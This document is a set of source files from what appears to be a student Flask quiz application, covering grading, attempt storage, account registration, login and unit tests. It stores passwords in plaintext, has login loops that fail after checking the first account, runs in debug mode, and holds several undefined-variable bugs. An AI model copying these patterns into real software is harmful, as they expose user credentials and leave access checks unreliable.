_quiz_graded - (dictionary) The reformatted quiz data from the _quiz_dict; it's identical in format
but grades are added to the end of each entry data
Key: quizname
Value: List[] of data(username (str), list of questions (list), list of choices (list of lists), list of responses (lists),
list of correct answers (list), list of question weights (list), grade (float)
sample_quiz_dict - A holder for sample data for demonstrative purposes (NOT PART OF FINAL MODULE)
attempt1 - A holder for sample data for demonstrative purposes (NOT PART OF FINAL MODULE)
attempt2 - holder for sample data for demonstrative purposes (NOT PART OF FINAL MODULE)
Public Methods:
add_quiz_attempts() - adds the QA information to the _quiz_dict member variable
get_grades() - returns the graded quiz data
grade() - Grades the given quiz data
ins_class_part() - Calculates the class participation of a given quiz
ins_class_hist() - Calculates the class histogram of a given quiz
ins_class_attempts() - Calculates the number of attempts each student took on a given quiz
ins_student_grades() - Calculates the grade summary of a given student
stu_quiz_grades() - Calculates the grade summary of a given student
stu_quiz_detailed() - Calculates the detailed grade summary of a given quiz for a given student
"""
#Note: The data below was used for demonstrative purposes, as was the Quiz Attempt
#module. The persist interactions are present but have been commented out with a triple pound
#sign to indicate where they occur.
###sample_quiz_dict = {'Fume' : { 'Quiz1': [attempt1, attempt2], 'Quiz2': [attempt1]}, 'Vlad' : { 'Quiz1': [attempt1, attempt2], 'Quiz2': [attempt1]}}
QR_PER = storage
sample_quiz_dict = storage.getStudentQA()
## This dictionary will hold all of the quiz attempts and their relevant information as a dictionary where the keys
##are the quiz names and the values are lists containing [course, studentemail, list of questions, list of lists of choices, list
##of responses and list of correct answers. There will be a list for each attempt.
input_dict = {}
_quiz_dict = {}
##This dictionary will look like the previous; the only difference will be that the values of its list will have an additional
##value at the end; the grade as a floating point number.
_quiz_graded = {}
def __init__(self):
"""This initializes the quiz result object.
Params: None
Returns: None
"""
def add_quiz_attempts(self):
"""This iterates over the quiz attempts dictionary and adds the information to the quiz result object's dictionary.
Params: None
Returns: A list of strings; formatted to show the number of attempts all student have made.
"""
self.input_dict = self.QR_PER.getStudentQA()
###self.input_dict = self.sample_quiz_dict ##Sample data of the format we'd be pulling from Persist
for stuname, quizinfo in self.input_dict.items():
for quizname, attempt in quizinfo.items():
for i in range(len(attempt)):
if quizname not in self._quiz_dict:
self._quiz_dict[quizname] = [[ stuname, attempt[i]._quizQuestions, attempt[i]._quizChoices, attempt[i]._response, attempt[i]._quizAnswers, attempt[i]._quizweights]]
else:
self._quiz_dict[quizname].append([stuname, attempt[i]._quizQuestions, attempt[i]._quizChoices, attempt[i]._response, attempt[i]._quizAnswers, attempt[i]._quizweights])
def get_grades(self):
"""This function returns the dictionary member variable that will contain all of our graded quiz attempts
Params: None
Returns: The dictionary member variable that will contain all of the graded quiz attempts.
"""
self.grade()
return self._quiz_graded
def grade(self):
"""This function will grade the quiz attempts and then store the highest scored attempt, along with all of its information, in the dictionary member variable.
Params: None
Returns: None
"""
for name_of_quiz, attempt_lists in self._quiz_dict.items():
for att in attempt_lists:
corr = float(0)
w = sum(att[5])
for i in range(len(att[1])):
if att[3][i] == att[4][i]:
corr = corr + (1.0*att[5][i])
grade = round((corr/float(w))*100,2)
temp = att
temp2 = []
for i in range(len(temp)):
temp2.append(temp[i])
temp2.append(grade)
if name_of_quiz not in self._quiz_graded:
self._quiz_graded[name_of_quiz] = [temp2]
else:
self._quiz_graded[name_of_quiz].append(temp2)
def ins_class_part(self,quizname):
"""This function will calculate the class participation and return it as a string.
Params:
quizname - Name of the given quiz
Returns: A float representing the class participation of the classs on a given quiz.
"""
size = float(len(self.QR_PER.classList))
###size = float(2) #A temp variable to work with the sample data.
part = float(0)
stunames = {}
for name_of_quiz, attempt_lists in self._quiz_dict.items():
for att in attempt_lists:
if name_of_quiz == quizname and att[0] not in stunames:
stunames[att[0]] = ''
part = part+1
part = part*100
out = part/size
return float(round(out,2))
def ins_class_avg(self,quizname):
"""This function will calculate the class average of a quiz and return it as a float.
Params:
quizname - Name of the given quiz
Returns: A float value representing the class average on the given quiz.
"""
stunames = {}
for name_of_quiz, attempt_lists in self._quiz_graded.items():
for att in attempt_lists:
if att[0] not in stunames:
stunames[att[0]] = att[6]
else:
if stunames[att[0]] < att[6]:
stunames[att[0]] = att[6]
count = len(stunames)
total = float(0)
for grade in stunames.values():
total = total + grade
return round(total/count,2)
def ins_class_hist(self,quizname):
"""This function will return the grade distribution histogram as a dictionary with increments as keys and number of students as values.
Params:
quizname - Name of the given quiz
Returns: A dictionary with strings representing grade increments as keys and
the number of students that scored in that interval as integer values.
"""
stunames = {}
for name_of_quiz, attempt_lists in self._quiz_graded.items():
if name_of_quiz == quizname:
for att in attempt_lists:
if att[0] not in stunames:
stunames[att[0]] = att[6]
else:
if stunames[att[0]] < att[6]:
stunames[att[0]] = att[6]
temp = {'zero':0,'one': 0,'two': 0,'three': 0,'four': 0,'five': 0,'six': 0,'seven': 0,'eight': 0,'nine': 0}
for grade in stunames.values():
if grade >= 0 and grade < 10:
temp['zero'] = temp['zero']+1
if grade >= 10 and grade < 20:
temp['one'] = temp['one']+1
if grade >= 20 and grade < 30:
temp['two'] = temp['two']+1
if grade >= 30 and grade < 40:
temp['three'] = temp['three']+1
if grade >= 40 and grade < 50:
temp['four'] = temp['four']+1
if grade >= 50 and grade < 60:
temp['five'] = temp['five']+1
if grade >= 60 and grade < 70:
temp['six'] = temp['six']+1
if grade >= 70 and grade < 80:
temp['seven'] = temp['seven']+1
if grade >= 80 and grade < 90:
temp['eight'] = temp['eight']+1
if grade >= 90 and grade < 101:
temp['nine'] = temp['nine']+1
return temp
def ins_class_attempts(self,quizname):
"""This function will return the number of attempts by students on a given quiz as a list.
Params:
quizname - Name of the given quiz
Returns: A list of strings; formatted to show the number of attempts all student have made.
"""
stunames = {}
out_list = []
for name_of_quiz, attempt_lists in self._quiz_graded.items():
if name_of_quiz == quizname:
for att in attempt_lists:
if att[0] not in stunames:
stunames[att[0]] = 0
else:
stunames[att[0]] = stunames[att[0]]+1
for names, atts in stunames.items():
out_list.append(names +" - " + str(atts))
return out_list
def ins_student_grades(self,studentname):
"""This function will return a list of strings containing the grades of a given student on all of their quizzes.
Params:
quizname - Name of the given student
Returns: A list of strings; formatted to show the student's grade on all their quizzes.
"""
stunames = {}
out_list = []
for name_of_quiz, attempt_lists in self._quiz_graded.items():
for att in attempt_lists:
if att[0] not in stunames:
stunames[att[0]] = [[name_of_quiz,att[6]]]
else:
stunames[att[0]].append([name_of_quiz,att[6]])
namehold = ''
temp = 1
if studentname in stunames:
for i in range(len(stunames[studentname])):
if namehold != '':
if stunames[studentname][i][0] == namehold:
temp = temp + 1
else:
temp = 1
out_list.append(stunames[studentname][i][0]+ " = Attempt " + str(temp) + " - " + str(stunames[studentname][i][1]))
namehold = stunames[studentname][i][0]
return out_list
def stu_quiz_grades(self,studentname):
"""This function will return a list of strings containing the summary of the student's grades by quiz.
Params:
studentname - Name of the given student
Returns: A list of strings; formatted to show a summary of the student's grades.
"""
stunames = {}
out_list = []
for name_of_quiz, attempt_lists in self._quiz_graded.items():
for att in attempt_lists:
if att[0] not in stunames:
stunames[att[0]] = [[name_of_quiz,att[6]]]
else:
stunames[att[0]].append([name_of_quiz,att[6]])
namehold = ''
temp = 1
if studentname in stunames:
for i in range(len(stunames[studentname])):
if namehold != '':
if stunames[studentname][i][0] == namehold:
temp = temp + 1
else:
temp = 1
out_list.append(stunames[studentname][i][0]+ " = Attempt " + str(temp) + " - " + str(stunames[studentname][i][1]))
namehold = stunames[studentname][i][0]
return out_list
def stu_quiz_detailed(self,studentname,quizname):
"""This function will return a string with the breakdown of a given quiz by a given student.
Params:
studentname - Name of the given student
quizname - Name of the given quiz
Returns: A list of strings; formatted to show the given student's grades on a given quiz.
"""
stunames = {}
out_list = []
for name_of_quiz, attempt_lists in self._quiz_graded.items():
for att in attempt_lists:
if att[0] not in stunames:
stunames[att[0]] = [[name_of_quiz,att[6]]]
else:
stunames[att[0]].append([name_of_quiz,att[6]])
namehold = ''
temp = 1
if studentname in stunames:
for i in range(len(stunames[studentname])):
if quizname == stunames[studentname][i][0]:
if namehold != '':
if stunames[studentname][i][0] == namehold:
temp = temp + 1
else:
temp = 1
out_list.append(stunames[studentname][i][0]+ " = Attempt " + str(temp) + " - " + str(stunames[studentname][i][1]))
namehold = stunames[studentname][i][0]
return out_list
<file_sep>/Unit Tests/Quiz_Attempt_UT.py
"""
CLASS:
QuizAttempt
"""
class QuizAttempt:
"""
Holds Attempt information of a an already taken quiz
Instance Variables:
quizName - name of quiz
quizQuestions - list of questions
quizChoices - list of lists: list of choices for each question
quizAnswers - list of correct answers to question
response - student answers for this attempt
complete - status of the attempt
Public Methods:
addResponse(number, answer) - add student's answer to a question
getResponse() - get student answers
completed()- marks this attempt as completed
getComplete() - check status of the attempt
"""
def __init__(self,num):
"""Initialise instance variables."""
## self._quizName = quiz.getName()
## self._quizQuestions = quiz.getQuestions()
## self._quizChoices = quiz.getQuizChoices()
## self._quizAnswers = quiz.getCorrectAnswers()
##
## self._response = [None] * len(self._quizAnswers)
self._quizname = 'Quiz'+str(num)
self._quizQuestions = ['1. How much is a kg?','2. How much is a gram?']
self._quizChoices = [['A. 3', 'B. 6', 'C. 10'],['A. 10', 'B. 20', 'C. 30']]
self._quizAnswers = ['A','C']
self._response = ['A','B']
self._quizweights = [num+4,num+1]
self._complete = True
def addResponse(self, number, answer):
"""
Record the answers of the student for this quiz attempt
Params:
number - Number of the question
answer - students' response from the multiple choice
"""
self._response[number] = answer
def getResponse(self):
"""Return student response for this particular quiz attempt."""
return self._response
def completed(self):
"""Set status of complete to True for this attempt."""
self._complete = True
def getComplete(self):
"""Return True or False to verify complete status of this attempt."""
return self._complete
<file_sep>/flask_merging/flaskmergeenv/Persist.py
import shelve
import datetime
class Persist:
classList = ["James", "Dave", "Vlad", "Tommy", "Fred", "Danny", "Julie", "Divine", "Clifford", "Fume", "Danny", "Samad"]
def __init__(self, filename):
self._store = shelve.open(filename, writeback= True)
self._store["Quiz"] = {}
self._store["studentAttempt"] = {}
self._store["gradedAttempts"] = {}
self._store["instructor"] = {}
self._store["student"] = {}
def addInstructorAccount(self,userID, password):
"""add a created instructor account to the shelve
parameter:
userID: the username that the instructor set as the key of the dict
password: the password that the instructor set as the value of the key
:return: None
"""
instructDict = self._store["instructor"]
instructDict[userID] = password
self._store["instructor"] = instructDict
def addStudentAccount(self, userID, password):
"""add a created student account to the shelve
parameter:
userID: the username that the student set as the key of the dict
password: the password that the student set as the value of the key
:return: None
"""
studentDict = self._store["student"]
studentDict[userID] = password
self._store["student"] = studentDict
def getInstructorAccount(self):
"""The method that return a dictionary of all the accounts
:parameter: None
:return: The instructor account that be invoked
"""
instructorAccount = self._store["instructor"]
return instructorAccount
def getStudentAccount(self):
"""The method that return a dictionary of all the accounts
:parameter: None
:return: The student account that be invoked
"""
studentAccount = self._store["student"]
return studentAccount
def addQuiz(self, quiz_tup):
"""add the instructor's quiz to the shelve
:parameter:
quiz_tup: set up a new quiz
:return: None
"""
Quiz = self._store["Quiz"]
Quiz[quiz_tup.getQuizName()] = quiz_tup
self._store["Quiz"] = Quiz
def getQuiz(self, quizName=None):
"""The method that get a particular quiz or get all the quiz
:parameter:
quizName: The name of the quiz
:return: Quiz that be invoked
"""
Quiz = self._store["Quiz"]
if quizName == None:
return Quiz
if quizName in Quiz:
return Quiz[quizName]
else:
raise Exception("The quiz",quizName,"is not in the storage")
def addAllStudentQA(self, quizAttemptDict):
"""add all students' quiz attempts to shelve
:parameter:
quizAttemptDict: The dictionary which stores the attempt times that the quiz be taken.
:return: None
"""
quizAttempt = self._store["studentAttempt"]
quizAttempt = quizAttemptDict
self._store["studentAttempt"] = quizAttempt
def getStudentQA(self):
""" The method that get the student's quiz attempt from the shelve
:parameter: None
:return: quizAttempt , the attempt times
"""
quizAttempt = self._store["studentAttempt"]
return quizAttempt
def addQuizResult(self, gradedQuiz_dict):
"""add students quizResult to shelve
:parameter: gradeQuiz_dict: the dictionary that stores the quiz grades
:return: None
"""
gradedQuiz = self._store["gradedAttempts"]
gradedQuiz = gradedQuiz_dict
self._store["gradedAttempts"] = gradedQuiz
def getQuizResult(self):
"""The method that get students quizResult from shelve
:parameter: None
:return: gradeQuiz: which is the grade of the exact quiz attempt
"""
gradedQuiz = self._store["gradedAttempts"]
return gradedQuiz
def close(self):
self._store.sync()
self._store.close()
storage = Persist("file.txt")
<file_sep>/flask_merging/app.py
from flask import Flask, render_template, request, flash, redirect, url_for
from login import *
from datetime import datetime
from CreateQuiz import *
from Take_Quiz import *
import os
ansList = []
studentAccount = Login.loginStorage.getStudentAccount()
instructorAccount = Login.loginStorage.getInstructorAccount()
app = Flask(__name__)
app.secret_key = os.urandom(24)
@app.route('/', methods=['GET', 'POST'])
def base():
"""Get the base page, which include 'instructor' and 'student'.
Instructor click 'instructor' to register and log in. Student click 'student' to register and log in."""
if request.method == 'GET':
return render_template('base.html')
@app.route('/instructor/', methods=['GET', 'POST'])
def instructor():
"""Instructor page, which include 'Register' and 'Login'
if the instructor has no account, click 'Register' to transfer to the register page.
if the instructor has an account, click 'Login' to transfer to the login page"""
if request.method == 'GET':
return render_template('instructor.html')
@app.route('/student/', methods=['GET', 'POST'])
def student():
"""Student page, which include 'Register' and 'Login'
if the student has no account, click 'Register' to transfer to the register page.
if the student has an account, click 'Login' to transfer to the login page"""
if request.method == 'GET':
return render_template('student.html')
@app.route('/instructor_Register/', methods=['GET', 'POST'])
def insRegister():
"""Instructor register page, after register store the data into Persist: {'instructor'}
"""
if request.method == 'GET':
return render_template('instructor_regist_form.html')
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('<PASSWORD>')
confirm = request.form.get('confirm')
# Login.loginStorage.addInstructorAccount(username, password)
if username is not None and password == confirm:
Login.loginStorage.addInstructorAccount(username, password)
return redirect(url_for('instructor_login'))
return render_template('instructor_regist_form.html', message = 'Invalid username or password')
@app.route('/student_Register/', methods=['GET', 'POST'])
def stuRegister():
"""student register page, after register store the data into Persist: {'student'} """
if request.method =='GET':
return render_template('student_regist_form.html')
if request.method =='POST':
username = request.form.get('username')
password = request.form.get('password')
confirm = request.form.get('confirm')
# Login.loginStorage.addStudentAccount(username,password)
if username is not None and password == confirm:
Login.loginStorage.addStudentAccount(username,password)
return redirect(url_for('stu_login'))
return render_template('student_regist_form.html', message = 'Invalid username or password')
@app.route('/student_login/', methods=['GET', 'POST'])
def stu_login():
"""Studnt log in page, which get the data from the persist to check whether the student can log in successfully or not"""
if request.method == 'GET':
return render_template('student_login.html')
if request.method == 'POST':
global glob_user
username = request.form.get('username')
glob_user = username
password = request.form.get('password')
if not all([username,password]):
flash('imcomplete')
for user in studentAccount:
# the situation that username exist in the persist and the password should also be in the persist and conform to what user set.
if username == user and password == studentAccount[user]:
return redirect(url_for('quiz'))
# the situation that the username is not in the persist
elif username != user:
return render_template('student_login.html', message = 'Account is not exist, Please register first')
# the situation that the password is not what user set
elif password != studentAccount[user]:
return render_template('student_login.html', message = 'Input the wrong password')
else:
return render_template('student_login.html', message = 'Account is not exist, Please register first')
@app.route('/instruct_login/', methods=['GET', 'POST'])
def instructor_login():
"""Instructor log in page, which get the data from the persist to check whether the instructor can log in successfully or not"""
if request.method == 'GET':
return render_template('instructor_login.html')
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if not all([username,password]):
flash('imcomplete')
for instruct_user in instructorAccount:
# the situation that username exist in the persist and the password should also be in the persist and conform to what user set.
if username == instruct_user and password == instructorAccount[instruct_user]:
return redirect(url_for('createQuiz'))
# the situation that the username is not in the persist
elif username != instruct_user:
return render_template('instructor_login.html', message = 'Account is not exist, Please register first')
# the situation that the password is not what user set
elif password != instructorAccount[instruct_user]:
return render_template('instructor_login.html', message = 'Input the wrong password')
else:
return render_template('instructor_login.html', message = 'Account is not exist, Please register first')
#Create Quiz
@app.route('/createquiz')
def createQuiz():
return render_template('setup_quiz.html')
@app.route('/restrictaccess',methods=['GET','POST'])
def instanceQuiz():
global quizObj
quizname = request.form.get('quizName')
attempts = request.form.get('attempts')
stime = request.form.get('stime')
etime = request.form.get('etime')
startTime = datetime.datetime.strptime(stime,'%Y-%m-%d')
endTime = datetime.datetime.strptime(etime,'%Y-%m-%d')
quizObj = CreateQuiz(quizname,int(attempts),startTime,endTime)
return render_template('restrict_access.html')
@app.route('/ra',methods=['GET','POST'])
def giveAccess():
quizObj._giveAccess(request.form.get('studentName'))
return render_template('restrict_access.html')
@app.route('/addQuestion', methods=['GET','POST'])
def creationPage():
return render_template('QuestionCreation.html')
@app.route('/addAnswer',methods=['GET','POST'])
def addAnswer():
swap1 = request.form.get('question')
swap2 = request.form.get('weight')
answer = request.form.get('answer')
ansList.append(answer)
return render_template('QuestionCreation.html',
question=swap1,weight=swap2)
@app.route('/newQuestion',methods=['GET','POST'])
def newQuestion():
question = request.form.get('question')
weight = request.form.get('weight')
choices = request.form.get('choices')
choiceList = choices.split(",")
quizObj._addQuestion(question,weight)
quizObj._addChoices(choiceList)
quizObj._addAnswerKey(ansList)
return render_template('QuestionCreation.html')
@app.route('/newquiz',methods=['GET','POST'])
def newQuiz():
quizObj._storeQuiz()
return render_template('setup_quiz.html')
#Take Quiz
@app.route('/takequiz')
def quiz():
quizes = TakeQuiz.persistStorage.getQuiz()
quizNames = []
for quiz in quizes:
quizNames.append(quiz)
return render_template('quizzes.html', quizNames=quizNames)
@app.route('/quiz.html',methods=['GET','POST'])
def display_quiz():
#Check to see if there is a present incomplete quiz by this student.
global activeQuiz
studentName = glob_user
quizName = request.form.get('quiz')
activeQuiz = TakeQuiz(studentName,quizName)
quizContent = activeQuiz.getQuizContent()
#Setting the attempt display number
global attemptNum
if activeQuiz.numberOfAttempts() == 0:
attemptNum = 1
elif activeQuiz.numberOfAttempts() == activeQuiz.getFoundQuiz().getAttempts():
attemptNum = activeQuiz.numberOfAttempts()
elif activeQuiz.numberOfAttempts() > 0 and TakeQuiz.studentsQA[studentName][quizName][-1].getComplete() == True:
attemptNum = activeQuiz.numberOfAttempts() + 1
#For Debugging
newAttempt = activeQuiz._presentAttempt
#
incompleteQuiz = TakeQuiz.resumeQuiz(studentName,quizName)
oldResponse = []
if incompleteQuiz is not None:
oldResponse = incompleteQuiz.getResponse()
return render_template('quiz.html', newAttempt=newAttempt,permission=activeQuiz.checkAccess(), attemptNum=attemptNum, oldResponse=oldResponse, name=quizContent[0], questions=quizContent[1], choiceList=quizContent[2])
#Receives a post request from quiz.html: Saves all inputs received from the submission
@app.route('/done.html', methods=['GET', 'POST'])
def display_done():
finished = False
if request.method == 'POST':
for i in range(len(activeQuiz.getFoundQuiz().getQuestions())):
choiceName = "choice"+str(i+1)
answer = request.form.get(choiceName)
savedAttempt = activeQuiz.saveAnswer(i,answer)
action = request.form.get('button')
if action == 'Submit':
activeQuiz.submitQuiz()
finished = True
elif action == 'Stop':
activeQuiz.stopQuiz()
jAttempts = TakeQuiz.studentsQA[studentName][quizName]
return render_template('done.html', jAttempts=jAttempts, finished=finished)
if __name__ == '__main__':
app.run(debug=True)
<file_sep>/Documentation/docstring_viewer.py
from Persist import *
from QuizResult import *
from Take_Quiz import *
from Quiz_Attempt import *
from login import *
from CreateQuiz import *
a = Persist()
help(a)
a = login()
help(a)
a = CreateQuiz()
help(a)
a = Quiz_Attempt()
help(a)
a = Take_Quiz()
help(a)
a = QuizResult()
help(a)
a = Persist()
help(a)
<file_sep>/Unit Tests/test_take_quiz.py
import unittest
import datetime
from create_quiz import CreateQuiz
from Take_Quiz import *
class TestTakeQuiz(unittest.TestCase):
def setUp(self):
self.q1 = CreateQuiz("Process Model",3,datetime.datetime(2020,12,4,5),datetime.datetime(2020,5,6,7))
self.q1._addQuestion("What is compsci",1)
self.q1._addChoices("good","bad", "nice")
self.q1._addAnswerKey("nice")
self.q1._giveAccess("James")
self.q1._storeQuiz()
self.activeQuiz = TakeQuiz("James","Process Model")
self.activeQuiz2 = TakeQuiz("Dave","Process Model")
def test_checkAccessNo(self):
self.assertEqual(self.activeQuiz2.checkAccess(), False)
def test_checkAccessYes(self):
self.assertEqual(self.activeQuiz.checkAccess(), True)
def test_getQuizContent(self):
self.assertEqual(self.activeQuiz.getQuizContent(),("Process Model",self.q1.getQuestions(),self.q1.getChoices()))
def test_saveAnswer(self):
attempt = self.activeQuiz.saveAnswer(0,"nice")
self.assertEqual(attempt.getResponse()[0],"nice")
## def test_saveAnswerFail1(self):
## with self.assertRaises(TypeError):
## self.activeQuiz.saveAnswer(0,9)
## def test_saveAnswerFail2(self):
## with self.assertRaises(TypeError):
## self.activeQuiz.saveAnswer("0","9")
def test_stopQuiz(self):
self.activeQuiz.saveAnswer(0,"bad")
self.activeQuiz.stopQuiz()
attempts = TakeQuiz.studentsQA["James"]["Process Model"]
incompleteAttempt = False
for attempt in attempts:
if attempt.getComplete() == False:
incompleteAttempt = True
self.assertTrue(incompleteAttempt)
def test_resumeQuiz(self):
attempt1 = self.activeQuiz.saveAnswer(0,"good")
self.activeQuiz.stopQuiz()
attempt2 = self.activeQuiz.resumeQuiz("James","Process Model")
self.assertEqual(attempt1,attempt2)
def test_submitQuiz(self):
attempt_num = len(TakeQuiz.studentsQA["James"]["Process Model"])
self.activeQuiz.saveAnswer(0,"bad")
self.activeQuiz.submitQuiz()
attempt_num2 = len(TakeQuiz.studentsQA["James"]["Process Model"])
self.assertEqual(attempt_num+1,attempt_num2)
def test_numberOfAttempts(self):
self.assertEqual(self.activeQuiz.numberOfAttempts(), 0)
def test_numberOfAttemptsSubmitted(self):
self.activeQuiz.submitQuiz()
self.activeQuiz3 = TakeQuiz("James","Process Model")
self.activeQuiz3.submitQuiz()
self.assertEqual(self.activeQuiz3.numberOfAttempts(), 2)
def test_store_studentsQA(self):
james_attempt1 = self.activeQuiz.submitQuiz()
studentAttemptDict = TakeQuiz.get_studentsQA()
james_attempt_list = studentAttemptDict["James"]["Process Model"]
found = False
for attempt in james_attempt_list:
if attempt == james_attempt1:
found = True
self.assertTrue(found)
if __name__ == '__main__':
unittest.main(verbosity=2)
<file_sep>/Unit Tests/create_quiz.py
from Persist import *
class CreateQuiz():
def __init__(self,quiz_name,attempts,start_time,end_time):
self.name = quiz_name
self.attempts = attempts
self.start_time = start_time
self.end_time = end_time
self.question_bank = []
self.choices = []
self.answer_key = []
self.accessList = []
def _setQuizName(self,name):
"""This function takes the name of the quiz
as a string and sets that to the name of the quiz"""
self.name = name
def _addQuestion(self,question,weight):
"""Adds a question to a list of questions for a quiz
Takes both a question as a string and weight
as an integer
that are placed into a list which is then placed into
a question bank"""
qList = []
qList.append(question)
qList.append(weight)
self.question_bank.append(qList)
def _addChoices(self,*choice):
"""Adds choices to a list of choices a question will
provide during a quiz
takes the choices that an instructor wants for a question
as a string
then adds it into a choice list"""
self.choices.append(choice)
def _addAnswerKey(self,*ans):
"""Adds the correct answers for a specific question
into an answer key list
takes answers as a string and places it into
the answer key list"""
self.answer_key.append(ans)
def getQuizName(self):
"""This function returns the name of the quiz"""
return self.name
def getQuestion(self,index):
"""This function returns a specific question name and weight
This function takes an index as
an integerprovided by the instructor
and returns that question which is a string
"""
question = self.question_bank[index]
return question[0]
def getQuestions(self):
"""This function will return all questions
in the question as a List
Each question is a list of two elements
A question and that question's weight"""
return self.question_bank
def getChoice(self,index):
"""This function returns the choices for a specific question
It will take an index an searh the choice list
for the corresponding index and return it"""
#return choices[index]
def getChoices(self):
"""This function returns all of the choices
for a quiz"""
return self.choices
def getAnswer(self,index):
"""This function returns a specific answer for a question
It will take an index as a parameter and find the
corressponding index in the answer list and return it"""
#return answer_key[index]
def getAnswers(self):
"""This function returns all of the
answers for a quiz as a List"""
return self.answer_key
def getStartTime(self):
"""This function returns the start time"""
return self.start_time
def getEndTime(self):
"""This function returns the end time of a quiz"""
return self.end_time
def getAttempts(self):
"""This function returns the attempts
that were inputted by the instructor
as a string"""
return self.attempts
def getWeight(self,index):
"""This function returns the weight for a specific question
It will take the index as integer and use that
to find the specific question weight
by getting that specific qList item
and returning the second index"""
weight = self.question_bank[index]
def _removeQuestion(self,index):
"""This function will remove a question from the quiz and
then store it in a shelf
It will take an index as integer
Using that index it will delte that specific
index from the question bank list
and then store the objects
in the persist module"""
del self.question_bank[index]
def _editWeight(self,index,nweight):
"""This function will edit the weight of a question
based on the question number entered
by the instructor
It will take the index as an integer
and the new eight as either an integer/float/double
value and change the current weight for a question
"""
weight = self.question_bank[index]
weight[1] = nweight
self.question_bank[index] = weight
self.question_bank
return
def _giveAccess(self,name):
"""
This function places a student's
name into the quiz access list
as a string which will
determine if they can access this specific quiz
"""
self.accessList.append(name)
def _removeAccess(self,name):
"""This function allows the instructor
to pass the name as a string
and remove the access of that student"""
try:
for i in self.accessList:
if name in self.accessList[i]:
del self.accessList[i]
else:
next
except ValueError:
print("Name not in Access List!")
def copyQuiz(self):
"""This function makes a deep copy
of the quiz object and returns it
which is only accessible by the instructor
for that quiz in specific"""
self.quizCopy = copy.deepcopy(q)
return self.quizCopy
def _storeQuiz(self):
"""Stores the quiz using the persist module
This function uses the persist class to store the quiz
and ensure it persists"""
#Quiz.storage.addQuiz((self,self.q))
storage.addQuiz(self)
<file_sep>/Final Project Submission(Flask Ready)/login.py
import Persist
"""
CLASS:
Login_
"""
class Login:
"""
Create the instructor account and student account ,also includes a login system
Instsnce Variables:
userType - type of the account includes instructor and student two types
userID - the key of the account which represents the identity
password - user set it to log into the system
Public Methods:
authentication() - authenticate the password is valid or not
createAccount() - create the new account
userlogin() - user login method
"""
loginStorage = Persist.storage
def __init__(self, userType, userID, password):
"""
initialize the class and indicates all the parameters
parameter:
userType: type of user account: instructor or student
userID: user identity, also the key of the account dictionary
password: value of the key(email)
"""
self._userType = userType
self._userID = userID
self._password = password
def authentication(self,password):
"""
authenticate the account to see whether the password is valid or not
:param password: the password which the user input and set
:return: true if the password length is longer than 8 and return false if the length is less than 8
"""
if len(password) < 8:
return False
def createAccount (self, userType, userID, password):
"""
create account method, which includes two usertype: student and instructor
parameter:
userType: type of user account: instructor or student
userID: user identity, also the key of the account dictionary
password: value of the key(email)
:return: true if the account is been created successfully
"""
if userType == "instructor":
if len(userID) > 0:
Login.loginStorage.addInstructorAccount(userID,password)
elif userType == "student":
if len(userID) > 0:
Login.loginStorage.addStudentAccount(userID, password)
return True
def userlogin (self, userKey, password):
"""
This method is login method to check whether the userID is in persist or not and check whether the password
is equal to what the user set
:parameter:
userKey: The username which get from the persist
password: The password which also get from the persist
:return:
return true if the user login successfully and return false if does not.
"""
studentAccount = Login.loginStorage.getStudentAccount()
instructorAccount = Login.loginStorage.getInstructorAccount()
for userID in studentAccount:
if userID == userKey:
if studentAccount[userID] == password:
return True
for userID in instructorAccount:
if userID == userKey:
if instructorAccount[userID] == password:
return True
return False
<file_sep>/Unit Tests/Persist.py
import shelve
import datetime
class Persist:
classList = ["James", "Dave", "Vlad", "Tommy", "Fred", "Danny", "Julie", "Divine", "Clifford", "Fume", "Danny", "Samad"]
def __init__(self):
self._store = shelve.open("file.txt", writeback= True)
self._store["Quiz"] = {}
self._store["studentAttempt"] = {}
self._store["gradedAttempts"] = {}
## self._store["instructor"] = {}
## self._store["student"] = {}
## def addInstructorAccount(self, email, password):
## """add a created instructor account to the shelve"""
## account = self._store["instructor"]
## account[email] = password
##
## temp = []
## temp.append(email)
## self._store[email] = temp
##
## def addStudentAccount(self, email, password):
## """add a created student account to the shelve"""
## account = self._store["student"]
## account[email] = password
##
## temp = []
## temp.append(email)
## self._store[email] = temp
##
## def getInstructorAccount(self, email,password):
## """return a dictionary of all the accounts"""
## account = self._store["instructor"]
## account[email] = password
## if email not in account:
## print("invalid email, please try again")
## else:
## return account[email]
##
## def getStudentAccount(self, email,password):
## """return a dictionary of all the accounts"""
## account = self._store["student"]
## account[email] = password
## if email not in account:
## print("invalid email, please try again")
## else:
## return account[email]
##
##
## def delete(self, email):
## """delete a created account from shelve"""
## account1 = self._store["instructor"]
## account2 = self._store["student"]
## if email not in account1 or account2:
## print("invalid email, please try again")
## else:
## if email in account1:
## del account1[email]
## elif email in account2:
## del account2[email]
def addQuiz(self, quiz_tup):
"""add the instructor's quiz to the shelve"""
"""Quiz = { quiz:[attempt1, attemp2] }"""
Quiz = self._store["Quiz"]
Quiz[quiz_tup.getQuizName()] = quiz_tup
self._store["Quiz"] = Quiz
def getQuiz(self, quizName=None):
"""get a particular quiz or get all the quiz"""
Quiz = self._store["Quiz"]
if quizName == None:
return Quiz
if quizName in Quiz:
return Quiz[quizName]
else:
raise Exception("The quiz",quizName,"is not in the storage")
def addAllStudentQA(self, quizAttemptDict):
"""add all students' quiz attempts to shelve"""
"""quizAttempt = { email: { quiz:[attempt] } }"""
quizAttempt = self._store["studentAttempt"]
quizAttempt = quizAttemptDict
self._store["studentAttempt"] = quizAttempt
def getStudentQA(self):
""" get the student's quiz attempt from the shelve"""
quizAttempt = self._store["studentAttempt"]
return quizAttempt
def addQuizResult(self, gradedQuiz_dict):
"""add students quizResult to shelve """
gradedQuiz = self._store["gradedAttempts"]
gradedQuiz = gradedQuiz_dict
self._store["gradedAttempts"] = gradedQuiz
def getQuizResult(self):
"""get students quizResult from shelve """
gradedQuiz = self._store["gradedAttempts"]
return gradedQuiz
def close(self):
self._store.sync()
self._store.close()
class Newuser:
def __init__(self, email, usertype, password):
self.email = email
self.usertype = usertype
self.password = <PASSWORD>
storage = Persist()
#help(Persist)
<file_sep>/Unit Tests/CreateQuiz_VT.py
from Persist import *
from datetime import *
import copy
class CreateQuiz():
"""Allows the instructor to create a quiz
And control the name, number of attempts,
start and end date
quiz_name - the name of the quiz
attempts - the number of attempts of a quiz
start_time - the start date of a quiz
end_time - the end date of a quiz
qustion_bank - the bank of questions and their weights for a quiz
question = [question,weight]
answer_key - the bank of answers stored fora quiz
